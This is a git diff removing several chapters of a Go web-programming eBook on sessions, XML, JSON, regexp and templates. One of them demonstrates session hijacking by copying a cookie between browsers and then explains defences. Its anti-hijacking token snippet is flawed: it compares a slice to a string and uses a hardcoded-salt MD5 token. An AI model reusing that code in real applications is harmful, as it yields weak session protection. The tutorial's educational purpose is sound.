sess, err := pder.SessionInit(sid) - return sess, err - } - return nil, nil - } - - func (pder *Provider) SessionDestroy(sid string) error { - if element, ok := pder.sessions[sid]; ok { - delete(pder.sessions, sid) - pder.list.Remove(element) - return nil - } - return nil - } - - func (pder *Provider) SessionGC(maxlifetime int64) { - pder.lock.Lock() - defer pder.lock.Unlock() - - for { - element := pder.list.Back() - if element == nil { - break - } - if (element.Value.(*SessionStore).timeAccessed.Unix() + maxlifetime) < time.Now().Unix() { - pder.list.Remove(element) - delete(pder.sessions, element.Value.(*SessionStore).sid) - } else { - break - } - } - } - - func (pder *Provider) SessionUpdate(sid string) error { - pder.lock.Lock() - defer pder.lock.Unlock() - if element, ok := pder.sessions[sid]; ok { - element.Value.(*SessionStore).timeAccessed = time.Now() - pder.list.MoveToFront(element) - return nil - } - return nil - } - - func init() { - pder.sessions = make(map[string]*list.Element, 0) - session.Register("memory", pder) - } - - -The above example implemented a memory based session storage mechanism. It uses its `init()` function to register this storage engine to the session manager. So how do we register this engine from our main program? - - import ( - "github.com/astaxie/session" - _ "github.com/astaxie/session/providers/memory" - ) - -We use the blank import mechanism (which will invoke the package's `init()` function automatically) to register this engine to a session manager. We then use the following code to initialize the session manager: - - var globalSessions *session.Manager - - // initialize in init() function - func init() { - globalSessions, _ = session.NewManager("memory", "gosessionid", 3600) - go globalSessions.GC() - } - -## Links - -- [Directory](preface.md) -- Previous section: [How to use sessions in Go](06.2.md) -- Next section: [Prevent session hijacking](06.4.md) diff --git a/en/eBook/06.4.md b/en/eBook/06.4.md deleted file mode 100644 index beeed381..00000000 --- a/en/eBook/06.4.md +++ /dev/null @@ -1,93 +0,0 @@ -# 6.4 Preventing session hijacking - -Session hijacking is a common yet serious security threat. Clients use session ids for validation and other purposes when communicating with servers. Unfortunately, malicious third parties can sometimes track these communications and figure out the client session id. - -In this section, we are going to show you how to hijack a session for educational purposes. - -## The session hijacking process - -The following code is a counter for the `count` variable: - - func count(w http.ResponseWriter, r *http.Request) { - sess := globalSessions.SessionStart(w, r) - ct := sess.Get("countnum") - if ct == nil { - sess.Set("countnum", 1) - } else { - sess.Set("countnum", (ct.(int) + 1)) - } - t, _ := template.ParseFiles("count.gtpl") - w.Header().Set("Content-Type", "text/html") - t.Execute(w, sess.Get("countnum")) - } - -The content of `count.gtpl` is as follows: - - Hi. Now count:{{.}} - -We can see the following content in the browser: - -![](images/6.4.hijack.png?raw=true) - -Figure 6.4 count in browser. - -Keep refreshing until the number becomes 6, then open the browser's cookie manager (I use chrome here). You should be able to see the following information: - -![](images/6.4.cookie.png?raw=true) - -Figure 6.5 cookies saved in a browser. - -This step is very important: open another browser (I use firefox here), copy the URL to the new browser, open a cookie simulator to create a new cookie and input exactly the same value as the cookie we saw in our first browser. - -![](images/6.4.setcookie.png?raw=true) - -Figure 6.6 Simulate a cookie. - -Refresh the page and you'll see the following: - -![](images/6.4.hijacksuccess.png?raw=true) - -Figure 6.7 hijacking the session has succeeded. - -Here we see that we can hijack sessions between different browsers, and actions performed in one one browser can affect the state of a page in another browser. Because HTTP is stateless, there is no way of knowing that the session id from firefox is simulated, and chrome is also not able to know that its session id has been hijacked. - -## prevent session hijacking - -### cookie only and token - -Through this simple example of hijacking a session, you can see that it's very dangerous because it allows attackers to do whatever they want. So how can we prevent session hijacking? - -The first step is to only set session ids in cookies, instead of in URL rewrites. Also, we should set the httponly cookie property to true. This restricts client side scripts that want access to the session id. Using these techniques, cookies cannot be accessed by XSS and it won't be as easy as we showed to get a session id from a cookie manager. - -The second step is to add a token to every request. Similar to the way we dealt with repeat forms in previous sections, we add a hidden field that contains a token. When a request is sent to the server, we can verify this token to prove that the request is unique. - - h := md5.New() - salt:="astaxie%^7&8888" - io.WriteString(h,salt+time.Now().String()) - token:=fmt.Sprintf("%x",h.Sum(nil)) - if r.Form["token"]!=token{ - // ask to log in - } - sess.Set("token",token) - -### Session id timeout - -Another solution is to add a create time for every session, and to replace expired session ids with new ones. This can prevent session hijacking under certain circumstances. - - createtime := sess.Get("createtime") - if createtime == nil { - sess.Set("createtime", time.Now().Unix()) - } else if (createtime.(int64) + 60) < (time.Now().Unix()) { - globalSessions.SessionDestroy(w, r) - sess = globalSessions.SessionStart(w, r) - } - -We set a value to save the create time and check if it's expired (I set 60 seconds here). This step can often thwart session hijacking attempts. - -Combine the two solutions above and you will be able to prevent most session hijacking attempts from succeeding. On the one hand, session ids that are frequently reset will result in an attacker always getting expired and useless session ids; on the other hand, by setting the httponly property on cookies and ensuring that session ids can only be passed via cookies, all URL based attacks are mitigated. Finally, we set `MaxAge=0` on our cookies, which means that the session ids will not be saved in the browser history. - -## Links - -- [Directory](preface.md) -- Previous section: [Session storage](06.3.md) -- Next section: [Summary](06.5.md) diff --git a/en/eBook/06.5.md b/en/eBook/06.5.md deleted file mode 100644 index 45281518..00000000 --- a/en/eBook/06.5.md +++ /dev/null @@ -1,9 +0,0 @@ -# 6.5 Summary - -In this chapter, we learned about the definition and purpose of sessions and cookies, and the relationship between the two. Since Go doesn't support sessions in its standard library, we also designed our own session manager. We went through the everything from creating client sessions to deleting them. We then defined an interface called `Provider` which supports all session storage structures. In section 6.3, we implemented a memory based session manager to persist client data across sessions. In section 6.4, I show you one way of hijacking a session. Then we looked at how to prevent your own sessions from being hijacked. I hope that you now understand most of the working principles behind sessions so that you're able to safely use them in your applications. - -## Links - -- [Directory](preface.md) -- Previous section: [Prevent session hijacking](06.4.md) -- Next chapter: [Text files](07.0.md) diff --git a/en/eBook/07.0.md b/en/eBook/07.0.md deleted file mode 100644 index d6aba41b..00000000 --- a/en/eBook/07.0.md +++ /dev/null @@ -1,11 +0,0 @@ -# 7 Text files - -Handling text files is a big part of web development. We often need to produce or handle received text content, including strings, numbers, JSON, XML, etc. As a high performance language, Go has good support for this in its standard library. You'll find that these supporting libraries are just awesome, and will allow you to easily deal with any text content you may encounter. This chapter contains 4 sections, and will give you a full introduction to text processing in Go. - -XML is an interactive language that is commonly used in many APIs, many web servers written in Java use XML as their standard interaction language. We'll more talk about XML in section 7.1. In section 7.2, we'll take a look at JSON which has been very popular in recent years and is much more convenient than XML. In section 7.3, we are going to talk about regular expressions which (for the majority of people) looks like a language used by aliens. In section 7.4, you will see how the MVC pattern is used to develop applications in Go, and also how to use Go's `template` package for templating your views. In section 7.5, we'll introduce you to file and folder operations. Finally, we will explain some Go string operations in section 7.6. - -## Links - -- [Directory](preface.md) -- Previous Chapter: [Chapter 6 Summary](06.5.md) -- Next section: [XML](07.1.md) diff --git a/en/eBook/07.1.md b/en/eBook/07.1.md deleted file mode 100644 index cec4225c..00000000 --- a/en/eBook/07.1.md +++ /dev/null @@ -1,216 +0,0 @@ -# 7.1 XML - -XML is a commonly used data communication format in web services. Today, it's assuming a more and more important role in web development. In this section, we're going to introduce how to work with XML through Go's standard library. - -I will not make any attempts to teach XML's syntax or conventions. For that, please read more documentation about XML itself. We will only focus on how to encode and decode XML files in Go. - -Suppose you work in IT, and you have to deal with the following XML configuration file: - - - - - Shanghai_VPN - 127.0.0.1 - - - Beijing_VPN - 127.0.0.2 - - - -The above XML document contains two kinds of information about your server: the server name and IP. We will use this document in our following examples. - -## Parse XML - -How do we parse this XML document? We can use the `Unmarshal` function in Go's `xml` package to do this. - - func Unmarshal(data []byte, v interface{}) error - -the `data` parameter receives a data stream from an XML source, and `v` is the structure you want to output the parsed XML to. It is an interface, which means you can convert XML to any structure you desire. Here, we'll only talk about how to convert from XML to the `struct` type since they share similar tree structures. - -Sample code: - - package main - - import ( - "encoding/xml" - "fmt" - "io/ioutil" - "os" - ) - - type Recurlyservers struct { - XMLName xml.Name `xml:"servers"` - Version string `xml:"version,attr"` - Svs []server `xml:"server"` - Description string `xml:",innerxml"` - } - - type server struct { - XMLName xml.Name `xml:"server"` - ServerName string `xml:"serverName"` - ServerIP string `xml:"serverIP"` - } - - func main() { - file, err := os.Open("servers.xml") // For read access. - if err != nil { - fmt.Printf("error: %v", err) - return - } - defer file.Close() - data, err := ioutil.ReadAll(file) - if err != nil { - fmt.Printf("error: %v", err) - return - } - v := Recurlyservers{} - err = xml.Unmarshal(data, &v) - if err != nil { - fmt.Printf("error: %v", err) - return - } - - fmt.Println(v) - } - -XML is actually a tree data structure, and we can define a very similar structure using structs in Go, then use `xml.Unmarshal` to convert from XML to our struct object. The sample code will print the following content: - - {{ servers} 1 [{{ server} Shanghai_VPN 127.0.0.1} {{ server} Beijing_VPN 127.0.0.2}] - - Shanghai_VPN - 127.0.0.1 - - - Beijing_VPN - 127.0.0.2 - - } - -We use `xml.Unmarshal` to parse the XML document to the corresponding struct object. You should see that we have something like `xml:"serverName"` in our struct. This is a feature of structs called `struct tags` for helping with reflection. Let's see the definition of `Unmarshal` again: - - func Unmarshal(data []byte, v interface{}) error - -The first argument is an XML data stream. The second argument is storage type and supports the struct, slice and string types. Go's XML package uses reflection for data mapping, so all fields in v should be exported. However, this causes a problem: how can it know which XML field corresponds to the mapped struct field? The answer is that the XML parser parses data in a certain order. The library will try to find the matching struct tag first. If a match cannot be found then it searches through the struct field names. Be aware that all tags, field names and XML elements are case sensitive, so you have to make sure that there is a one to one correspondence for the mapping to succeed. - -Go's reflection mechanism allows you to use this tag information to reflect XML data to a struct object. If you want to know more about reflection in Go, please read the package documentation on struct tags and reflection. - -Here are some rules when using the `xml` package to parse XML documents to structs: - -- If the field type is a string or []byte with the tag `",innerxml"`, `Unmarshal` will assign raw XML data to it, like `Description` in the above example: - - Shanghai_VPN127.0.0.1Beijing_VPN127.0.0.2 - -- If a field is called `XMLName` and its type is `xml.Name`, then it gets the element name, like `servers` in above example. -- If a field's tag contains the corresponding element name, then it gets the element name as well, like `servername` and `serverip` in the above example. -- If a field's tag contains `",attr"`, then it gets the corresponding element's attribute, like `version` in above example. -- If a field's tag contains something like `"a>b>c"`, it gets the value of the element c of node b of node a. -- If a field's tag contains `"="`, then it gets nothing. -- If a field's tag contains `",any"`, then it gets all child elements which do not fit the other rules. -- If the XML elements have one or more comments, all of these comments will be added to the first field that has the tag that contains `",comments"`. This field type can be a string or []byte. If this kind of field does not exist, all comments are discard. - -These rules tell you how to define tags in structs. Once you understand these rules, mapping XML to structs will be as easy as the sample code above. Because tags and XML elements have a one to one correspondence, we can also use slices to represent multiple elements on the same level. - -Note that all fields in structs should be exported (capitalized) in order to parse data correctly. - -## Produce XML - -What if we want to produce an XML document instead of parsing one. How do we do this in Go? Unsurprisingly, the `xml` package provides two functions which are `Marshal` and `MarshalIndent`, where the second function automatically indents the marshalled XML document. Their definition as follows: - - func Marshal(v interface{}) ([]byte, error) - func MarshalIndent(v interface{}, prefix, indent string) ([]byte, error) - -The first argument in both of these functions is for storing a marshalled XML data stream. - -Let's look at an example to see how this works: - - package main - - import ( - "encoding/xml" - "fmt" - "os" - ) - - type Servers struct { - XMLName xml.Name `xml:"servers"` - Version string `xml:"version,attr"` - Svs []server `xml:"server"` - } - - type server struct { - ServerName string `xml:"serverName"` - ServerIP string `xml:"serverIP"` - } - - func main() { - v := &Servers{Version: "1"} - v.Svs = append(v.Svs, server{"Shanghai_VPN", "127.0.0.1"}) - v.Svs = append(v.Svs, server{"Beijing_VPN", "127.0.0.2"}) - output, err := xml.MarshalIndent(v, " ", " ") - if err != nil { - fmt.Printf("error: %v\n", err) - } - os.Stdout.Write([]byte(xml.Header)) - - os.Stdout.Write(output) - } - -The above example prints the following information: - - - - - Shanghai_VPN - 127.0.0.1 - - - Beijing_VPN - 127.0.0.2 - - - -As we've previously defined, the reason we have `os.Stdout.Write([]byte(xml.Header))` is because both `xml.MarshalIndent` and `xml.Marshal` do not output XML headers on their own, so we have to explicitly print them in order to produce XML documents correctly. - -Here we can see that `Marshal` also receives a v parameter of type `interface{}`. So what are the rules when marshalling to an XML document? - -- If v is an array or slice, it prints all elements like a value. -- If v is a pointer, it prints the content that v is pointing to, printing nothing when v is nil. -- If v is a interface, it deal with the interface as well. -- If v is one of the other types, it prints the value of that type. - -So how does `xml.Marshal` decide the elements' name? It follows the proceeding rules: - -- If v is a struct, it defines the name in the tag of XMLName. -- The field name is XMLName and the type is xml.Name. -- Field tag in struct. -- Field name in struct. -- Type name of marshal. - -Then we need to figure out how to set tags in order to produce the final XML document. - -- XMLName will not be printed. -- Fields that have tags containing `"-"` will not be printed. -- If a tag contains `"name,attr"`, it uses name as the attribute name and the field value as the value, like `version` in the above example. -- If a tag contains `",attr"`, it uses the field's name as the attribute name and the field value as its value. -- If a tag contains `",chardata"`, it prints character data instead of element. -- If a tag contains `",innerxml"`, it prints the raw value. -- If a tag contains `",comment"`, it prints it as a comment without escaping, so you cannot have "--" in its value. -- If a tag contains `"omitempty"`, it omits this field if its value is zero-value, including false, 0, nil pointer or nil interface, zero length of array, slice, map and string. -- If a tag contains `"a>b>c"`, it prints three elements where a contains b and b contains c, like in the following code: - - FirstName string `xml:"name>first"` - LastName string `xml:"name>last"` - - - Asta - Xie - - -You may have noticed that struct tags are very useful for dealing with XML, and the same goes for the other data formats we'll be discussing in the following sections. If you still find that you have problems with working with struct tags, you should probably read more documentation about them before diving into the next section. - -## Links - -- [Directory](preface.md) -- Previous section: [Text files](07.0.md) -- Next section: [JSON](07.2.md) diff --git a/en/eBook/07.2.md b/en/eBook/07.2.md deleted file mode 100644 index 6066b18c..00000000 --- a/en/eBook/07.2.md +++ /dev/null @@ -1,231 +0,0 @@ -# 7.2 JSON - -JSON (JavaScript Object Notation) is a lightweight data exchange language which is based on text description. Its advantages include being self-descriptive, easy to understand, etc. Even though it is a subset of JavaScript, JSON uses a different text format, the result being that it can be considered as an independent language. JSON bears similarity to C-family languages. - -The biggest difference between JSON and XML is that XML is a complete markup language, whereas JSON is not. JSON is smaller and faster than XML, therefore it's much easier and quicker to parse in browsers, which is one of the reasons why many open platforms choose to use JSON as their data exchange interface language. - -Since JSON is becoming more and more important in web development, let's take a look at the level of support Go has for JSON. You'll find that Go's standard library has very good support for encoding and decoding JSON. - -Here we use JSON to represent the example in the previous section: - - {"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]} - -The rest of this section will use this JSON data to introduce JSON concepts in Go. - -## Parse JSON - -### Parse to struct - -Suppose we have the JSON in the above example. How can we parse this data and map it to a struct in Go? Go provides the following function for just this purpose: - - func Unmarshal(data []byte, v interface{}) error - -We can use this function like so: - - package main - - import ( - "encoding/json" - "fmt" - ) - - type Server struct { - ServerName string - ServerIP string - } - - type Serverslice struct { - Servers []Server - } - - func main() { - var s Serverslice - str := `{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}` - json.Unmarshal([]byte(str), &s) - fmt.Println(s) - } - -In the above example, we defined a corresponding structs in Go for our JSON, using slice for an array of JSON objects and field name as our JSON keys. But how does Go know which JSON object corresponds to which specific struct filed? Suppose we have a key called `Foo` in JSON. How do we find its corresponding field? - -- First, Go tries to find the (capitalised) exported field whose tag contains `Foo`. -- If no match can be found, look for the field whose name is `Foo`. -- If there are still not matches look for something like `FOO` or `FoO`, ignoring case sensitivity. - -You may have noticed that all fields that are going to be assigned should be exported, and Go only assigns fields that can be found, ignoring all others. This can be useful if you need to deal with large chunks of JSON data but you only a specific subset of it; the data you don't need can easily be discarded. - -### Parse to interface - -When we know what kind of JSON to expect in advance, we can parse it to a specific struct. But what if we don't know? - -We know that an interface{} can be anything in Go, so it is the best container to save our JSON of unknown format. The JSON package uses `map[string]interface{}` and `[]interface{}` to save all kinds of JSON objects and arrays. Here is a list of JSON mapping relations: - -- `bool` represents `JSON booleans`, -- `float64` represents `JSON numbers`, -- `string` represents `JSON strings`, -- `nil` represents `JSON null`. - -Suppose we have the following JSON data: - - b := []byte(`{"Name":"Wednesday","Age":6,"Parents":["Gomez","Morticia"]}`) - -Now we parse this JSON to an interface{}: - - var f interface{} - err := json.Unmarshal(b, &f) - -The `f` stores a map, where keys are strings and values are interface{}'s'. - - f = map[string]interface{}{ - "Name": "Wednesday", - "Age": 6, - "Parents": []interface{}{ - "Gomez", - "Morticia", - }, - } - -So, how do we access this data? Type assertion. - - m := f.(map[string]interface{}) - -After asserted, you can use the following code to access data: - - for k, v := range m { - switch vv := v.(type) { - case string: - fmt.Println(k, "is string", vv) - case int: - fmt.Println(k, "is int", vv) - case float64: - fmt.Println(k,"is float64",vv) - case []interface{}: - fmt.Println(k, "is an array:") - for i, u := range vv { - fmt.Println(i, u) - } - default: - fmt.Println(k, "is of a type I don't know how to handle") - } - } - -As you can see, we can parse JSON of an unknown format through interface{} and type assert now. - -The above example is the official solution, but type asserting is not always convenient. So, I recommend an open source project called `simplejson`, created and maintained by by bitly. Here is an example of how to use this project to deal with JSON of an unknown format: - - js, err := NewJson([]byte(`{ - "test": { - "array": [1, "2", 3], - "int": 10, - "float": 5.150, - "bignum": 9223372036854775807, - "string": "simplejson", - "bool": true - } - }`)) - - arr, _ := js.Get("test").Get("array").Array() - i, _ := js.Get("test").Get("int").Int() - ms := js.Get("test").Get("string").MustString() - -It's not hard to see how convenient this is. Check out the repository to see more information: [https://github.com/bitly/go-simplejson](https://github.com/bitly/go-simplejson). - -## Producing JSON - -In many situations, we need to produce JSON data and respond to clients. In Go, the JSON package has a function called `Marshal` to do just that: - - func Marshal(v interface{}) ([]byte, error) - -Suppose we need to produce a server information list. We have following sample: - - package main - - import ( - "encoding/json" - "fmt" - ) - - type Server struct { - ServerName string - ServerIP string - } - - type Serverslice struct { - Servers []Server - } - - func main() { - var s Serverslice - s.Servers = append(s.Servers, Server{ServerName: "Shanghai_VPN", ServerIP: "127.0.0.1"}) - s.Servers = append(s.Servers, Server{ServerName: "Beijing_VPN", ServerIP: "127.0.0.2"}) - b, err := json.Marshal(s) - if err != nil { - fmt.Println("json err:", err) - } - fmt.Println(string(b)) - } - -Output: - - {"Servers":[{"ServerName":"Shanghai_VPN","ServerIP":"127.0.0.1"},{"ServerName":"Beijing_VPN","ServerIP":"127.0.0.2"}]} - -As you know, all field names are capitalized, but if you want your JSON key names to start with a lower case letter, you should use `struct tag`s. Otherwise, Go will not produce data for internal fields. - - type Server struct { - ServerName string `json:"serverName"` - ServerIP string `json:"serverIP"` - } - - type Serverslice struct { - Servers []Server `json:"servers"` - } - -After this modification, we can produce the same JSON data as before. - -Here are some points you need to keep in mind when trying to produce JSON: - -- Field tags containing `"-"` will not be outputted. -- If a tag contains a customized name, Go uses this instead of the field name, like `serverName` in the above example. -- If a tag contains `omitempty`, this field will not be outputted if it is its zero-value. -- If the field type is `bool`, string, int, `int64`, etc, and its tag contains `",string"`, Go converts this field to its corresponding JSON type. - -Example: - - type Server struct { - // ID will not be outputed. - ID int `json:"-"` - - // ServerName2 will be converted to JSON type. - ServerName string `json:"serverName"` - ServerName2 string `json:"serverName2,string"` - - // If ServerIP is empty, it will not be outputed. - ServerIP string `json:"serverIP,omitempty"` - } - - s := Server { - ID: 3, - ServerName: `Go "1.0" `, - ServerName2: `Go "1.0" `, - ServerIP: ``, - } - b, _ := json.Marshal(s) - os.Stdout.Write(b) - -Output: - - {"serverName":"Go \"1.0\" ","serverName2":"\"Go \\\"1.0\\\" \""} - -The `Marshal` function only returns data when it has succeeded, so here are some points we need to keep in mind: - -- JSON only supports strings as keys, so if you want to encode a map, its type has to be `map[string]T`, where `T` is the type in Go. -- Types like channel, complex types and functions are not able to be encoded to JSON. -- Do not try to encode cyclic data, it leads to an infinite recursion. -- If the field is a pointer, Go outputs the data that it points to, or else outputs null if it points to nil. - -In this section, we introduced how to decode and encode JSON data in Go. We also looked at one third-party project called `simplejson` which is for parsing JSON or unknown format. These are all useful concepts for developping web applications in Go. - -## Links - -- [Directory](preface.md) -- Previous section: [XML](07.1.md) -- Next section: [Regexp](07.3.md) diff --git a/en/eBook/07.3.md b/en/eBook/07.3.md deleted file mode 100644 index 2d524455..00000000 --- a/en/eBook/07.3.md +++ /dev/null @@ -1,241 +0,0 @@ -# 7.3 Regexp - -Regexp is a complicated but powerful tool for pattern matching and text manipulation. Although does not perform as well as pure text matching, it's more flexible. Based on its syntax, you can filter almost any kind of text from your source content. If you need to collect data in web development, it's not hard to use Regexp to retrieve meaningful data. - -Go has the `regexp` package, which provides official support for regexp. If you've already used regexp in other programming languages, you should be familiar with it. Note that Go implemented RE2 standard except for `\C`. For more details, follow this link: [http://code.google.com/p/re2/wiki/Syntax](http://code.google.com/p/re2/wiki/Syntax). - -Go's `strings` package can actually do many jobs like searching (Contains, Index), replacing (Replace), parsing (Split, Join), etc., and it's faster than Regexp. However, these are all trivial operations. If you want to search a case insensitive string, Regexp should be your best choice. So, if the `strings` package is sufficient for your needs, just use it since it's easy to use and read; if you need to perform more advanced operations, use Regexp. - -If you recall form verification from previous sections, we used Regexp to verify the validity of user input information. Be aware that all characters are UTF-8. Let's learn more about the Go `regexp` package! - -## Match - -The `regexp` package has 3 functions to match: if it matches a pattern, then it returns true, returning false otherwise. - - func Match(pattern string, b []byte) (matched bool, error error) - func MatchReader(pattern string, r io.RuneReader) (matched bool, error error) - func MatchString(pattern string, s string) (matched bool, error error) - -All of 3 functions check if `pattern` matches the input source, returning true if it matches. However if your Regex has syntax errors, it will return an error. The 3 input sources of these functions are `slice of byte`, `RuneReader` and `string`. - -Here is an example of how to verify an IP address: - - func IsIP(ip string) (b bool) { - if m, _ := regexp.MatchString("^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$", ip); !m { - return false - } - return true - } - -As you can see, using pattern in the `regexp` package is not that different. Here's one more example on verifying if user input is valid: - - func main() { - if len(os.Args) == 1 { - fmt.Println("Usage: regexp [string]") - os.Exit(1) - } else if m, _ := regexp.MatchString("^[0-9]+$", os.Args[1]); m { - fmt.Println("Number") - } else { - fmt.Println("Not number") - } - } - -In the above examples, we use `Match(Reader|Sting)` to check if content is valid, but they are all easy to use. - -## Filter - -Match mode can verify content but it cannot cut, filter or collect data from it. If you want to do that, you have to use complex mode of Regexp. - -Let's say we need to write a crawler. Here is an example that shows when you must use Regexp to filter and cut data. - - package main - - import ( - "fmt" - "io/ioutil" - "net/http" - "regexp" - "strings" - ) - - func main() { - resp, err := http.Get("http://www.baidu.com") - if err != nil { - fmt.Println("http get error.") - } - defer resp.Body.Close() - body, err := ioutil.ReadAll(resp.Body) - if err != nil { - fmt.Println("http read error") - return - } - - src := string(body) - - // Convert HTML tags to lower case. - re, _ := regexp.Compile("\\<[\\S\\s]+?\\>") - src = re.ReplaceAllStringFunc(src, strings.ToLower) - - // Remove STYLE. - re, _ = regexp.Compile("\\") - src = re.ReplaceAllString(src, "") - - // Remove SCRIPT. - re, _ = regexp.Compile("\\") - src = re.ReplaceAllString(src, "") - - // Remove all HTML code in angle brackets, and replace with newline. - re, _ = regexp.Compile("\\<[\\S\\s]+?\\>") - src = re.ReplaceAllString(src, "\n") - - // Remove continuous newline. - re, _ = regexp.Compile("\\s{2,}") - src = re.ReplaceAllString(src, "\n") - - fmt.Println(strings.TrimSpace(src)) - } - -In this example, we use Compile as the first step for complex mode. It verifies that your Regex syntax is correct, then returns a `Regexp` for parsing content in other operations. - -Here are some functions to parse your Regexp syntax: - - func Compile(expr string) (*Regexp, error) - func CompilePOSIX(expr string) (*Regexp, error) - func MustCompile(str string) *Regexp - func MustCompilePOSIX(str string) *Regexp - -The difference between `ComplePOSIX` and `Compile` is that the former has to use POSIX syntax which is leftmost longest search, and the latter is only leftmost search. For instance, for Regexp `[a-z]{2,4}` and content `"aa09aaa88aaaa"`, `CompilePOSIX` returns `aaaa` but `Compile` returns `aa`. `Must` prefix means panic when the Regexp syntax is not correct, returning error otherwise. - -Now that we know how to create a new Regexp, let's see what how the methods provided by this struct can help us to operate on content: - - func (re *Regexp) Find(b []byte) []byte - func (re *Regexp) FindAll(b []byte, n int) [][]byte - func (re *Regexp) FindAllIndex(b []byte, n int) [][]int - func (re *Regexp) FindAllString(s string, n int) []string - func (re *Regexp) FindAllStringIndex(s string, n int) [][]int - func (re *Regexp) FindAllStringSubmatch(s string, n int) [][]string - func (re *Regexp) FindAllStringSubmatchIndex(s string, n int) [][]int - func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte - func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int - func (re *Regexp) FindIndex(b []byte) (loc []int) - func (re *Regexp) FindReaderIndex(r io.RuneReader) (loc []int) - func (re *Regexp) FindReaderSubmatchIndex(r io.RuneReader) []int - func (re *Regexp) FindString(s string) string - func (re *Regexp) FindStringIndex(s string) (loc []int) - func (re *Regexp) FindStringSubmatch(s string) []string - func (re *Regexp) FindStringSubmatchIndex(s string) []int - func (re *Regexp) FindSubmatch(b []byte) [][]byte - func (re *Regexp) FindSubmatchIndex(b []byte) []int - -These 18 methods include identical functions for different input sources (byte slice, string and io.RuneReader), so we can really simplify this list by ignoring input sources as follows: - - func (re *Regexp) Find(b []byte) []byte - func (re *Regexp) FindAll(b []byte, n int) [][]byte - func (re *Regexp) FindAllIndex(b []byte, n int) [][]int - func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte - func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int - func (re *Regexp) FindIndex(b []byte) (loc []int) - func (re *Regexp) FindSubmatch(b []byte) [][]byte - func (re *Regexp) FindSubmatchIndex(b []byte) []int - -Code sample: - - package main - - import ( - "fmt" - "regexp" - ) - - func main() { - a := "I am learning Go language" - - re, _ := regexp.Compile("[a-z]{2,4}") - - // Find the first match. - one := re.Find([]byte(a)) - fmt.Println("Find:", string(one)) - - // Find all matches and save to a slice, n less than 0 means return all matches, indicates length of slice if it's greater than 0. - all := re.FindAll([]byte(a), -1) - fmt.Println("FindAll", all) - - // Find index of first match, start and end position. - index := re.FindIndex([]byte(a)) - fmt.Println("FindIndex", index) - - // Find index of all matches, the n does same job as above. - allindex := re.FindAllIndex([]byte(a), -1) - fmt.Println("FindAllIndex", allindex) - - re2, _ := regexp.Compile("am(.*)lang(.*)") - - // Find first submatch and return array, the first element contains all elements, the second element contains the result of first (), the third element contains the result of second (). - // Output: - // the first element: "am learning Go language" - // the second element: " learning Go ", notice spaces will be outputed as well. - // the third element: "uage" - submatch := re2.FindSubmatch([]byte(a)) - fmt.Println("FindSubmatch", submatch) - for _, v := range submatch { - fmt.Println(string(v)) - } - - // Same thing like FindIndex(). - submatchindex := re2.FindSubmatchIndex([]byte(a)) - fmt.Println(submatchindex) - - // FindAllSubmatch, find all submatches. - submatchall := re2.FindAllSubmatch([]byte(a), -1) - fmt.Println(submatchall) - - // FindAllSubmatchIndex,find index of all submatches. - submatchallindex := re2.FindAllSubmatchIndex([]byte(a), -1) - fmt.Println(submatchallindex) - } - -As we've previously introduced, Regexp also has 3 methods for matching. They do the exact same things as the exported functions. In fact, those exported functions actually call these methods under the hood: - - func (re *Regexp) Match(b []byte) bool - func (re *Regexp) MatchReader(r io.RuneReader) bool - func (re *Regexp) MatchString(s string) bool - -Next, let's see how to replace strings using Regexp: - - func (re *Regexp) ReplaceAll(src, repl []byte) []byte - func (re *Regexp) ReplaceAllFunc(src []byte, repl func([]byte) []byte) []byte - func (re *Regexp) ReplaceAllLiteral(src, repl []byte) []byte - func (re *Regexp) ReplaceAllLiteralString(src, repl string) string - func (re *Regexp) ReplaceAllString(src, repl string) string - func (re *Regexp) ReplaceAllStringFunc(src string, repl func(string) string) string - -These are used in the crawling example, so we don't explain more here. - -Let's take a look at the definition of `Expand`: - - func (re *Regexp) Expand(dst []byte, template []byte, src []byte, match []int) []byte - func (re *Regexp) ExpandString(dst []byte, template string, src string, match []int) []byte - -So how do we use `Expand`? - - func main() { - src := []byte(` - call hello alice - hello bob - call hello eve - `) - pat := regexp.MustCompile(`(?m)(call)\s+(?P\w+)\s+(?P.+)\s*$`) - res := []byte{} - for _, s := range pat.FindAllSubmatchIndex(src, -1) { - res = pat.Expand(res, []byte("$cmd('$arg')\n"), src, s) - } - fmt.Println(string(res)) - } - -At this point, you've learned the whole `regexp` package in Go. I hope that you can understand more by studying examples of key methods, so that you can do something interesting on your own. - -## Links - -- [Directory](preface.md) -- Previous section: [JSON](07.2.md) -- Next section: [Templates](07.4.md) diff --git a/en/eBook/07.4.md b/en/eBook/07.4.md deleted file mode 100644 index 36236ddb..00000000 --- a/en/eBook/07.4.md +++ /dev/null @@ -1,367 +0,0 @@ -# 7.4 Templates - -## What is a template? - -Hopefully you're aware of the MVC (Model, View, Controller) design model, where models process data, views show the results and finally, controllers handle user requests. For views, many dynamic languages generate data by writing code in static HTML files. For instance, JSP is implemented by inserting `<%=....=%>`, PHP by inserting ``, etc. - -The following demonstrates the template mechanism: -![](images/7.4.template.png?raw=true) - -Figure 7.1 Template mechanism - -Most of the content that web applications respond to clients with is static, and the dynamic parts are usually very small. For example, if you need to show a list users who have visited a page, only the user name would be dynamic. The style of the list remains the same. As you can see, templates are useful for reusing static content. - -## Templating in Go - -In Go, we have the `template` package to help handle templates. We can use functions like `Parse`, `ParseFile` and `Execute` to load templates from plain text or files, then evaluate the dynamic parts, like in figure 7.1. - -Example: - - func handler(w http.ResponseWriter, r *http.Request) { - t := template.New("some template") // Create a template. - t, _ = t.ParseFiles("tmpl/welcome.html", nil) // Parse template file. - user := GetUser() // Get current user infomration. - t.Execute(w, user) // merge. - } - -As you can see, it's very easy to use, load and render data in templates in Go, just like in other programming languages. - -For the sake of convenience, we will use the following rules in our examples: - -- Use `Parse` to replace `ParseFiles` because `Parse` can test content directly from strings, so we don't need any extra files. -- Use `main` for every example and do not use `handler`. -- Use `os.Stdout` to replace `http.ResponseWriter` since `os.Stdout` also implements the `io.Writer` interface. - -## Inserting data into a template - -We've just showed you how to parse and render 